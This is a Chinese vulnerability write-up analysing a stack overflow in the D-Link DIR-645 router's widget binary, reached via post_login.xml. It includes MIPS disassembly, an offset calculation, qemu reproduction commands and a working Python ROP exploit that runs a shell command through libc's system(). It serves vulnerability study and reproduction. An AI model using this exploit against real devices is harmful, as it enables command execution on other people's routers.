D-Link DIR-645路由器溢出漏洞
漏洞简介
在看《揭秘家用路由器0day漏洞挖掘技术》这本书的时候,书上也有一个D-Link DIR-645的漏洞,漏洞是CGI脚本authentiction.cgi造成的缓冲区溢出。但在测试的时候不知道什么原因,IDA无法加载authentiction.cgi所以就没有测试成功,后来又在论坛上看到了还是这个路由器的另一个缓冲区溢出漏洞是关于post_login.xml的栈溢出漏洞。
漏洞分析
固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
先来看一看post_login.xml。从注释可以看到是支持widget这个二进制文件登录确认。整段代码大概的意思是:接收GET请求传递的hash值并写入/var/run/hash文件,获取内部password写入/var/run/password,通过/runtime/widgetv2/logincheck判断login是否正确。
HTTP/1.1 200 OK
Content-Type: text/xml
<?
/*
* Created by Kwest Wan 20071012
* to support D-Link widget login check
*/
$hash = $_GET["hash"];
$xml_head = fread("", "/htdocs/web/__login_head.xml");
$file = "/var/run/password";
$password = query("/device/account/entry:1/password");
fwrite("w", $file, $password);
fwrite("w", "/var/run/hash", $hash);
$logined = "error";
$logined = query("/runtime/widgetv2/logincheck");
if($logined == "OK")
{
$response = "OK";
}
else
{
$response = "error";
}
echo $xml_head."<login>".$response."</login>";
?>
再来看看前面说到的支持二进制文件widget,文件不大,主函数也不复杂,所以直接从主函数看起。
前面的一大段都是初始化和保存环境,直接跳过,直接看到这里调用了一个getopt函数,这个函数之前没见过,查了一下,是一个命令行选项解析函数
定义:int getopt(int argc, char * const argv[], const char *optstring);
参数格式:
argc:main()函数传递过来的参数的个数
argv:main()函数传递过来的参数的字符串指针数组
optstring:选项字符串,告知 getopt()可以处理哪个选项以及哪个选项需要参数
返回值:如果选项成功找到,返回选项字母;如果所有命令行选项都解析完毕,返回-1;如果遇到选项字符不在 optstring 中,返回字符’?’;如果遇到丢失参数,那么返回值依赖于 optstring 中第一个字符,如果第一个字符是’:’ 则返回’:’,否则返回’?’并提示出错误信息。
具体参看:https://www.cnblogs.com/chenliyang/p/6633739.html
所以这一段就是对命令行参数进行处理,并把处理结果作为判断。
lui $gp, 0x42
addiu $sp, -0x3A8
li $gp, 0x41A1C0
sw $ra, 0x3A8+var_4($sp)
sw $fp, 0x3A8+var_8($sp)
sw $s7, 0x3A8+var_C($sp)
sw $s6, 0x3A8+var_10($sp)
sw $s5, 0x3A8+var_14($sp)
sw $s4, 0x3A8+var_18($sp)
sw $s3, 0x3A8+var_1C($sp)
sw $s2, 0x3A8+var_20($sp)
sw $s1, 0x3A8+var_24($sp)
sw $s0, 0x3A8+var_28($sp)
sw $gp, 0x3A8+var_398($sp)
lui $v0, 0x40
sw $a0, 0x3A8+argc($sp)
sw $a1, 0x3A8+argv($sp)
addiu $fp, $v0, (aAShv - 0x400000) # "a:shv"
move $s7, $zero
move $s0, $zero
move $s2, $zero
li $s6, 0x68
li $s5, 0x73
li $s4, 0x76
la $s1, optarg
b loc_400BCC
li $s3, 0x61
loc_400BCC:
la $t9, getopt
lw $a0, 0x3A8+argc($sp) # argc
lw $a1, 0x3A8+argv($sp) # argv
jalr $t9 ; getopt
move $a2, $fp # shortopts
lw $gp, 0x3A8+var_398($sp)
bgtz $v0, loc_400B70
move $v1, $v0
如果getopt的结果>0则跳到这里,整体看就是一大段选择判断
.text:00400B70 loc_400B70: # CODE XREF: main+E0↓j
.text:00400B70 beq $v1, $s6, loc_400BBC
.text:00400B74 slti $v0, $v1, 0x69
.text:00400B78 beqz $v0, loc_400B90
.text:00400B7C nop
.text:00400B80 bne $v1, $s3, loc_400BCC
.text:00400B84 nop
.text:00400B88 b loc_400BB0
.text:00400B8C li $s0, 1
.text:00400B90 #
---------------------------------------------------------------------------
.text:00400B90
.text:00400B90 loc_400B90: # CODE XREF: main+74↑j
.text:00400B90 beq $v1, $s5, loc_400BA8
.text:00400B94 nop
.text:00400B98 bne $v1, $s4, loc_400BCC
.text:00400B9C nop
.text:00400BA0 b loc_400BCC
.text:00400BA4 li $s7, 1
.text:00400BA8 #
---------------------------------------------------------------------------
.text:00400BA8
.text:00400BA8 loc_400BA8: # CODE XREF: main:loc_400B90↑j
.text:00400BA8 b loc_400BCC
.text:00400BAC li $s0, 2
.text:00400BB0 #
---------------------------------------------------------------------------
.text:00400BB0
.text:00400BB0 loc_400BB0: # CODE XREF: main+84↑j
.text:00400BB0 lw $s2, 0($s1)
.text:00400BB4 b loc_400BCC
.text:00400BB8 nop
.text:00400BBC #
---------------------------------------------------------------------------
.text:00400BBC
.text:00400BBC loc_400BBC: # CODE XREF: main:loc_400B70↑j
.text:00400BBC jal sub_400960
.text:00400BC0 nop
.text:00400BC4 lw $gp, 0x3A8+var_398($sp)
.text:00400BC8 nop
上面的函数用伪代码可以表示成这样的,这里其实没有漏洞点,只是简单的命令行处理。
int v0=getopt();
while(v0>0)
{
int v1=v0;
if(v1<0x69)
v0=1;
else
v0=0;
if(v1==’h’)
sub_400960(); //一个输出函数
else
{
if(v0==0)
{
if(v1==’s’)
s0=2;
else
{
if(v1==’v’)
break;
}
}
else
{
if(v1==’a’)
{
s0=1;
s2=[s1];
}
else
break;
}
}
}
当处理完命令行参数之后,也就是v0<0,会来到这里,判断s0和v0
.text:00400BEC bnez $s0, loc_400C08
.text:00400BF0 li $v0, 2
.text:00400BF4 jal sub_400960
.text:00400BF8 nop
.text:00400BFC lw $gp, 0x3A8+var_398($sp)
.text:00400C00 b loc_400C60
.text:00400C04 nop
当跳到400c60的时候,来看一看这段函数。先是一个memset初始化s0为0,长度为0x100,然后把s0作为第二个参数,”/var/run/hash”作为第一个参数来到sub_4009F0函数。
.text:00400C60 #
---------------------------------------------------------------------------
.text:00400C60
.text:00400C60 loc_400C60: # CODE XREF: main+FC↑j
.text:00400C60 # main:loc_400C08↑j
.text:00400C60 la $t9, memset
.text:00400C64 addiu $s0, $sp, 0x3A8+var_128
.text:00400C68 li $a2, 0x100 # n
.text:00400C6C move $a0, $s0 # s
.text:00400C70 jalr $t9 ; memset
.text:00400C74 move $a1, $zero # c
.text:00400C78 lui $a0, 0x40
.text:00400C7C move $a1, $s0
.text:00400C80 jal sub_4009F0
.text:00400C84 la $a0, aVarRunHash # "/var/run/hash"
.text:00400C88 lw $gp, 0x3A8+var_398($sp)
.text:00400C8C addiu $s1, $sp, 0x3A8+var_380
.text:00400C90 la $t9, memset
.text:00400C94 move $a0, $s1 # s
.text:00400C98 move $a1, $zero # c
.text:00400C9C jalr $t9 ; memset
.text:00400CA0 li $a2, 0x40 # n
.text:00400CA4 lw $gp, 0x3A8+var_398($sp)
.text:00400CA8 lw $v1, 4($s0)
.text:00400CAC lw $v0, 0x3A8+var_128($sp)
.text:00400CB0 la $t9, memset
.text:00400CB4 addiu $s0, $sp, 0x3A8+var_340
.text:00400CB8 sw $v1, 4($s1)
.text:00400CBC li $a2, 0x40 # n
.text:00400CC0 move $a0, $s0 # s
.text:00400CC4 move $a1, $zero # c
.text:00400CC8 jalr $t9 ; memset
.text:00400CCC sw $v0, 0x3A8+var_380($sp)
.text:00400CD0 move $a0, $s2
.text:00400CD4 jal sub_4009F0
.text:00400CD8 move $a1, $s0
.text:00400CDC lw $gp, 0x3A8+var_398($sp)
.text:00400CE0 addiu $s4, $sp, 0x3A8+var_300
.text:00400CE4 la $t9, sprintf
.text:00400CE8 la $a1, aSS # "%s%s"
.text:00400CF0 move $a2, $s1
.text:00400CF4 move $a0, $s4 # s
.text:00400CF8 jalr $t9 ; sprintf
.text:00400CFC move $a3, $s0
.text:00400D00 li $v1, 0x3F
.text:00400D04 lw $gp, 0x3A8+var_398($sp)
.text:00400D08 subu $v1, $v0
.text:00400D0C addu $a1, $s4, $v0
.text:00400D10 move $a0, $zero
.text:00400D14 b loc_400D24
.text:00400D18 li $a2, 1
sub_4009F0函数主要是个读取文件的函数,往下看先是open打开前面传来的第一个参数,如果打开失败就输出”Can’t open file %s.n”,否则就读取里面的内容。
.text:004009F0 sub_4009F0: # CODE XREF: main+17C↓p
.text:004009F0 # main+1D0↓p
.text:004009F0
.text:004009F0 var_B0 = -0xB0
.text:004009F0 var_A8 = -0xA8
.text:004009F0 var_74 = -0x74
.text:004009F0 var_10 = -0x10
.text:004009F0 var_C = -0xC
.text:004009F0 var_8 = -8
.text:004009F0 var_4 = -4
.text:004009F0
.text:004009F0 lui $gp, 0x42
.text:004009F4 addiu $sp, -0xC0
.text:004009F8 li $gp, 0x41A1C0
.text:004009FC sw $ra, 0xC0+var_4($sp)
.text:00400A00 sw $s2, 0xC0+var_8($sp)
.text:00400A04 sw $s1, 0xC0+var_C($sp)
.text:00400A08 sw $s0, 0xC0+var_10($sp)
.text:00400A0C sw $gp, 0xC0+var_B0($sp)
.text:00400A10 la $t9, open
.text:00400A14 move $s2, $a1
.text:00400A18 li $a2, 0x100
.text:00400A1C move $a1, $zero # oflag
.text:00400A20 jalr $t9 ; open
.text:00400A24 move $s0, $a0
.text:00400A28 lw $gp, 0xC0+var_B0($sp)
.text:00400A2C bgez $v0, loc_400A5C
.text:00400A30 move $s1, $v0
.text:00400A34 la $t9, printf
.text:00400A38 la $a0, aCanTOpenFileS # "Can't open file %s.n"
.text:00400A40 jalr $t9 ; printf
.text:00400A44 move $a1, $s0
.text:00400A48 lw $gp, 0xC0+var_B0($sp)
.text:00400A4C nop
.text:00400A50 la $t9, exit
.text:00400A54 b loc_400ACC
.text:00400A58 li $a0, 1
.text:00400A5C #
---------------------------------------------------------------------------
.text:00400A5C
.text:00400A5C loc_400A5C: # CODE XREF: sub_4009F0+3C↑j
.text:00400A5C la $t9, fstat
.text:00400A60 move $a0, $v0 # fd
.text:00400A64 jalr $t9 ; fstat
.text:00400A68 addiu $a1, $sp, 0xC0+var_A8 # buf
.text:00400A6C lw $gp, 0xC0+var_B0($sp)
.text:00400A70 lw $s0, 0xC0+var_74($sp)
.text:00400A74 la $t9, read
.text:00400A78 move $a1, $s2 # buf
.text:00400A7C move $a0, $s1 # fd
.text:00400A80 jalr $t9 ; read
.text:00400A84 move $a2, $s0 # nbytes
.text:00400A88 lw $gp, 0xC0+var_B0($sp)
.text:00400A8C beq $v0, $s0, loc_400AD4
.text:00400A90 lui $a0, 0x40
.text:00400A94 la $t9, puts
.text:00400A98 nop
.text:00400A9C jalr $t9 ; puts
.text:00400AA0 la $a0, aReadError # "read error."
.text:00400AA4 lw $gp, 0xC0+var_B0($sp)
.text:00400AA8 nop
.text:00400AAC la $t9, close
.text:00400AB0 nop
.text:00400AB4 jalr $t9 ; close
.text:00400AB8 move $a0, $s1 # fd
.text:00400ABC lw $gp, 0xC0+var_B0($sp)
.text:00400AC0 li $a0, 2 # status
.text:00400AC4 la $t9, exit
.text:00400AC8 nop
.text:00400ACC
.text:00400ACC loc_400ACC: # CODE XREF: sub_4009F0+64↑j
.text:00400ACC jalr $t9 ; exit
.text:00400AD0 nop
.text:00400AD4
.text:00400AD4 loc_400AD4: # CODE XREF: sub_4009F0+9C↑j
.text:00400AD4 la $t9, close
.text:00400AD8 nop
.text:00400ADC jalr $t9 ; close
.text:00400AE0 move $a0, $s1 # fd
.text:00400AE4 lw $ra, 0xC0+var_4($sp)
.text:00400AE8 lw $gp, 0xC0+var_B0($sp)
.text:00400AEC move $v0, $zero
.text:00400AF0 lw $s2, 0xC0+var_8($sp)
.text:00400AF4 lw $s1, 0xC0+var_C($sp)
.text:00400AF8 lw $s0, 0xC0+var_10($sp)
.text:00400AFC jr $ra
.text:00400B00 addiu $sp, 0xC0
.text:00400B00 # End of function sub_4009F0
来仔细看一下这个read的内容,s2是buf,也就是前面主函数传入的大小为0x100的缓冲区,s1是open的返回值,s0是一个栈空间。这里的read是直接读取了打开文件内的所有内容,并没有判断长度,造成了缓冲区溢出。
la $t9, read
move $a1, $s2 # buf
move $a0, $s1 # fd
jalr $t9 ; read
move $a2, $s0 # nb
接下来就是布置栈空间进行溢出了,还要注意的是,根据前面post_login.xml显示,除了/var/run/hash文件要读取,还要读取/var/run/password文件,所以复现的时候要生成该文件,不然会导致异常退出。
漏洞利用
寻找溢出点
这里布置栈空间有两种选择,一种是溢出覆盖主函数的返回地址,还有一种就是溢出覆盖当前函数的返回地址。
先来看第一种。
可以看到返回地址是在栈空间上0x4的位置
sw $ra, 0x3A8+var_4($sp)
而缓冲区是在栈空间0x128的位置
addiu $s0, $sp, 0x3A8+var_128
所以填充的数量为0x128-0x4=292。
来测试一下看看,脚本如下。启动IDA附加调试
mkdir -p ./var/run
python -c 'print "A"*292+"BBBB"' | tr -d '\n' > ./var/run/hash
#python exp.py | tr -d '\n' > ./var/run/hash
python -c 'print "C"*32' | tr -d '\n' > ./var/run/password
cp $(which qemu-mipsel) .
chroot . ./qemu-mipsel -g 1234 /usr/sbin/widget -a /var/run/password
#chroot . ./qemu-mipsel /usr/sbin/widget -a /var/run/password
rm ./qemu-mipsel
rm -fr ./var/run
可以看到当前返回地址ra在0x7FFFF17C
s0在0x0x7FFFF058,0x7FFFF17C-0x0x7FFFF058=292
进入溢出函数,read之后,返回值被覆盖为“BBBB”
第二种溢出,计算可能会麻烦一点,因为是在不同的栈空间。
先看到s0是在0x3A8这个栈空间的-128位置(栈地址往下增涨)
addiu $s0, $sp, 0x3A8+var_128
然后在看溢出函数的返回地址ra在0xC0这个栈空间的-4位置,0xC0是新开辟的栈空间
sw $ra, 0xC0+var_4($sp)
0x3A8-0x128+0x4=644
测试到后面发现没有覆盖成功,再看下计算应该没有问题,偏移的长度是对的,那错在哪呢?
这里错在s0填充的时候栈是往高地址增加的,而当前函数的返回地址ra在比s0更低的地址空间上,所以s0是不可能填充覆盖当前r0的。
可以看到s0覆盖更高的地址位置。所以这里只有一种方法就是覆盖主函数的返回地址。
构造ROP链
因为这个widget文件里面没有找到system函数,所以为了调用system,只能去链接库里找用了system的链接函数。
但我这里在用mipsropgadget插件的时候出现了以下错误,暂时还没找到原因,就借用文章中寻找的rop了。
Traceback (most recent call last):
File "Z:/root/f/IDA/plugins/mipsrop.py", line 721, in activate
mipsrop = MIPSROPFinder()
File "Z:/root/f/IDA/plugins/mipsrop.py", line 208, in __init__
self._initial_find()
File "Z:/root/f/IDA/plugins/mipsrop.py", line 226, in _initial_find
self.system_calls += self._find_system_calls(start, end)
File "Z:/root/f/IDA/plugins/mipsrop.py", line 393, in _find_system_calls
if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
IndexError: string index out of range
rop链
漏洞利用
import struct
def p32(i):
return struct.pack('<I', i)
qemu_libc = 0x7f738000
# qemu_sys_libc = 0x77f34000
# router_libc = 0x2aaf8000
system = 0x00053200
calc_system = 0x000158C8
call_system = 0x000159CC
shellcode = "A" * 0x100 # padding
shellcode += p32(qemu_libc+system-1) # $s0
shellcode += "A" * 0x10 # $s1 ~ $s4
shellcode += p32(qemu_libc+call_system) # $s5
shellcode += "A" * 0x0c # $s6 $s7 $fp
shellcode += p32(qemu_libc+calc_system) # $ra
shellcode += "A" * 0x10 # padding
shellcode += "ls -l" # cmd
print shellcode
参考链接
https://larry.ngrep.me/2018/05/16/dlink-dir-645-post-login-xml-bof/